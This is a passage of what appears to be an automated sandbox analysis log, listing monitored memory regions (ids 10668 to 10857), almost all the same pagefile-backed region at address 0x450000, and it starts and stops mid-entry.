10668 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10669 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10670 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10671 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10672 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10673 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10674 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10675 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10676 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10677 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10678 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10679 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10680 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10681 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10682 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10683 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10684 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10685 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10686 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10687 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10688 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10689 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10690 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10691 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10692 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10693 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10694 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10695 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10696 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10697 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10698 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10699 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10700 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10701 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10702 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10703 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10704 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10705 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10706 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10707 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10708 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10709 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10710 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10711 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10712 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10713 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10714 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10715 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10716 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10717 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10718 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10719 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10720 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10721 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10722 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10723 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10724 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10725 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10726 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10727 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10728 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10729 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10730 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10731 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10732 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10733 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10734 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10735 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10736 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10737 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10738 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10739 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10740 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10741 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10742 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10743 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10744 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10745 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10746 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10747 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10748 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10749 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10750 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 10751 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 10752 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10753 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10754 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10755 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10756 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10757 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10758 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10759 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10760 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10761 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10762 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10763 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10764 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10765 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10766 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10767 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10768 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10769 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10770 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10771 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10772 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10773 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10774 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10775 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10776 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10777 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10778 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10779 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10780 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10781 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10782 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10783 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10784 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10785 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10786 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10787 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10788 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10789 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10790 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10791 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10792 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10793 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10794 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10795 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10796 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10797 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10798 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10799 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10800 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10801 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10802 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10803 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10804 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10805 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10806 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10807 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10808 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10809 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10810 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10811 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10812 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10813 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10814 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10815 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10816 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10817 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10818 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10819 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10820 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10821 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10822 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10823 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10824 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10825 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10826 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10827 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10828 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10829 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10830 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10831 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10832 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10833 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10834 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10835 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10836 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10837 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10838 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10839 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10840 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10841 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10842 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10843 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10844 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10845 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10846 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10847 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10848 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10849 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10850 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10851 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10852 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10853 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10854 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10855 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10856 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 10857 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 10858 start_va = 